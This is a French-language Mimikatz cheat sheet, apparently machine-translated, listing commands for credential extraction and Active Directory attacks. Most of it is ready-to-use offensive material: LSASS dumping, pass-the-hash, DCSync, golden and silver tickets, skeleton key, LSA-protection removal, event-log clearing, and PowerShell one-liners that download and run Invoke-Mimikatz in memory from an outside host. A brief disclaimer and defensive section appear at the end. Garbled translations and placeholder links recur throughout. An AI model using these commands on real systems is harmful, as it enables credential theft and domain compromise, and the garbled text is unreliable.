Feuille de Cheat Mimikatz
Aperçu général
Mimikatz est un puissant outil d'immersion et de manipulation des justificatifs développé par Benjamin Delpy (@gentilkiwi). Il peut extraire les mots de passe en texte clair, les hachages, les codes PIN et les tickets Kerberos de la mémoire, ainsi que d'effectuer diverses attaques comme pass-the-hash, pass-the-ticket, et la création de tickets dorés.
C'est pas vrai. Attention: Mimikatz est un outil de test de sécurité qui peut être utilisé de manière malveillante. Utilisez-le uniquement dans les environnements où vous avez la permission explicite de le faire.
Obtention de Mimikatz
Dépôt officiel
- GitHub : [https://github.com/gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz]
- Dernière sortie : [https://github.com/gentilkiwi/mimikatz/releases](https://github.com/gentilkiwi/mimikatz/releases_]
Binaires précompilés
mimikatz.exe
- Exécutable 32 bitsmimikatz_trunk.zip
- Contient des exécutables 32 bits et 64 bits
Compilation par source
git clone https://github.com/gentilkiwi/mimikatz.git
# Open the solution file in Visual Studio and build
Utilisation de base
Courir Mimikatz
# Run directly
mimikatz.exe
# Run with PowerShell
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
# Run from memory
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
```_
### L'élévation des privilèges
privilege::debug
### Aide
help
### Sortie de Mimikatz
exit
## Modules et commandes de base
### Module sekurlsa (accès à la mémoire CSSASS)
|Command|Description|
|---------|-------------|
|`sekurlsa::logonpasswords`|Extract all logon passwords|
|`sekurlsa::tickets`|Extract Kerberos tickets|
|`sekurlsa::ekeys`|Extract Kerberos encryption keys|
|`sekurlsa::dpapi`|Extract DPAPI master keys|
|`sekurlsa::credman`|Extract credentials from Windows Credential Manager|
|`sekurlsa::msv`|Extract MSV authentication information|
|`sekurlsa::tspkg`|Extract TSPKG authentication information|
|`sekurlsa::wdigest`|Extract WDigest authentication information|
|`sekurlsa::kerberos`|Extract Kerberos authentication information|
|`sekurlsa::ssp`|Extract SSP authentication information|
|`sekurlsa::livessp`|Extract LiveSSP authentication information|
|`sekurlsa::cloudap`|Extract CloudAP authentication information|
### Module lsadump (SAM et Active Directory)
|Command|Description|
|---------|-------------|
|`lsadump::sam`|Extract hashes from the SAM database|
|`lsadump::secrets`|Extract LSA secrets|
|`lsadump::cache`|Extract cached domain credentials|
|`lsadump::dcsync`|Perform DCSync attack to retrieve password data|
|`lsadump::lsa`|Extract LSA secrets|
|`lsadump::trust`|Extract domain trust keys|
|`lsadump::backupkeys`|Extract domain backup keys|
### Module kerberos (manipulation de billets)
|Command|Description|
|---------|-------------|
|`kerberos::list`|List all Kerberos tickets|
|`kerberos::purge`|Purge all Kerberos tickets|
|`kerberos::ptt`|Pass-the-ticket (inject a ticket)|
|`kerberos::golden`|Create a golden ticket|
|`kerberos::silver`|Create a silver ticket|
|`kerberos::tgt`|Create a TGT|
|`kerberos::hash`|Calculate Kerberos keys from password|
### Module cryptographique (opérations cryptographiques)
|Command|Description|
|---------|-------------|
|`crypto::certificates`|List certificates|
|`crypto::keys`|List keys|
|`crypto::system`|List system certificates|
|`crypto::capi`|List CAPI certificates|
|`crypto::cng`|List CNG certificates|
|`crypto::stores`|List certificate stores|
### module de coffre-fort (Windows Vault Access)
|Command|Description|
|---------|-------------|
|`vault::cred`|List credentials in Windows Vault|
|`vault::list`|List vault credentials|
### Module de jeton (manipulation de jeton)
|Command|Description|
|---------|-------------|
|`token::whoami`|Display current token information|
|`token::list`|List all tokens|
|`token::elevate`|Elevate token privileges|
|`token::revert`|Revert token|
|`token::run`|Run a process with a token|
### Module privilège (Gestion des privilèges)
|Command|Description|
|---------|-------------|
|`privilege::debug`|Enable debug privilege|
|`privilege::driver`|Load a driver|
### Module événementiel (Gestion du journal événementiel)
|Command|Description|
|---------|-------------|
|`event::clear`|Clear event logs|
|`event::drop`|Drop event logs|
### Module ts (Services terminaux)
|Command|Description|
|---------|-------------|
|`ts::sessions`|List terminal services sessions|
|`ts::multirdp`|Enable multiple RDP sessions|
### Module misc (Divers)
|Command|Description|
|---------|-------------|
|`misc::cmd`|Command prompt|
|`misc::regedit`|Registry editor|
|`misc::taskmgr`|Task manager|
|`misc::ncroutemon`|Network connection route monitor|
|`misc::detours`|Detours detection|
|`misc::skeleton`|Install skeleton key|
## Techniques d'attaque courantes
### Dumping sur titres
#### Extraire les mots de passe de Logon
privilege::debug sekurlsa::logonpasswords
#### Extrait des lettres de créances de SAM
privilege::debug token::elevate lsadump::sam
#### Extraire les lettres de créance de domaine
privilege::debug lsadump::cache
#### Extrait de la décharge LSASS
Create dump with Task Manager or procdump
sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
### Pass-the-Hash Attaques
#### Pass-the-Hash avec NTLM
sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:E52CAC67419A9A224A3B108F3FA6CB6D
#### Pass-the-Hash avec les clés AES
sekurlsa::pth /user:Administrator /domain:contoso.local /aes256:E52CAC67419A9A224A3B108F3FA6CB6D1234567890ABCDEF1234567890ABCDEF
#### Hors-pass-the-Hash (Convertissez NTLM à Kerberos)
sekurlsa::pth /user:Administrator /domain:contoso.local /ntlm:E52CAC67419A9A224A3B108F3FA6CB6D /run:powershell.exe
### Attaque DCSync
#### Extrait NTLM Hashes pour tous les utilisateurs
lsadump::dcsync /domain:contoso.local /all
#### Extrait NTLM Hash pour un utilisateur spécifique
lsadump::dcsync /domain:contoso.local /user:Administrator
#### Extrait NTLM Hash pour KRBTGT (pour Golden Ticket)
lsadump::dcsync /domain:contoso.local /user:krbtgt
### Attaques de billets Kerberos
#### Liste des billets Kerberos
kerberos::list
#### Créer un billet d'or
Format: kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /ticket:OUTPUT_FILE
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:HASH /ticket:golden.kirbi
#### Créer un billet en argent
Format: kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAIN_SID /target:SERVER /service:SERVICE /rc4:SERVICE_HASH /ticket:OUTPUT_FILE
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:server.contoso.local /service:HTTP /rc4:HASH /ticket:silver.kirbi
#### Pass-the-Ticket
kerberos::ptt golden.kirbi
#### Billets de purge
kerberos::purge
### Attaque clé du squelette
privilege::debug misc::skeleton
## Techniques avancées
### DPAPI Master Key Extraction
sekurlsa::dpapi
### Dépassement de protection de la LSA
Load mimikatz driver
mimidrv::service
Enable debug privilege
privilege::debug
Load driver
!+
Remove LSASS protection
!processprotect /process:lsass.exe /remove
Extract credentials
sekurlsa::logonpasswords
### Opérations à distance
Create process dump of LSASS
Using Task Manager or procdump:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Analyze dump file
sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
### Extraire les pouvoirs de Windows Credential Manager
vault::cred vault::list
### Extraire les clés de sauvegarde de domaine
lsadump::backupkeys /system:dc01.contoso.local /export
## Exemples de commandes avec paramètres
### Skurlsa::logonpasswords
sekurlsa::logonpasswords [/patch]
### skurlsa::pth
sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH [/run:COMMAND] sekurlsa::pth /user:USERNAME /domain:DOMAIN /aes128:HASH [/run:COMMAND] sekurlsa::pth /user:USERNAME /domain:DOMAIN /aes256:HASH [/run:COMMAND]
### Lsadump::dcsync
lsadump::dcsync /domain:DOMAIN /user:USERNAME [/guid:\\{object-guid\\}] lsadump::dcsync /domain:DOMAIN /all [/csv]
### kerberos::golden
kerberos::golden /user:USERNAME /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:HASH [/id:USER_ID] [/groups:GROUP_IDS] [/ticket:OUTPUT_FILE]
### kerberos::ptt
kerberos::ptt TICKET_FILE
## Mesures défensives
### Méthodes de détection
- Surveiller la création de processus de mimikatz.exe ou les processus suspects accédant à lsass. exe
- Surveillance de l'accès suspect à la mémoire LSASS
- Surveiller les opérations de DCSync (demandes de réplication de machines non-DC)
- Moniteur pour la création et la manipulation de tickets
- Surveiller l'escalade des privilèges
### Méthodes de prévention
- Activer la protection LSA (RunAsPPL)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
- Activer la garde de crédit (Windows 10/Serveur 2016+)
- Mettre en œuvre la protection Groupe d'utilisateurs
- Désactiver l'authentification WDigest
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
```
- Mettre en œuvre une administration juste assez (JEA)
- Rotation régulière des mots de passe
- Limiter les privilèges administratifs
- Utiliser des mots de passe forts
Ressources
- [Répertoire officiel GitHub] (LINK_8)
- [Mimikatz Wiki] (LINK_8)
- [Guide de sécurité Mimikatz] (LINK_8)
- [MITRE ATT&CK - Dumping sur titres de créance] (LINK_8)
- [MITRE ATT&CK - Passez le Hash] (LINK_8)
- [MITRE ATT&CK - Passez le billet] (LINK_8)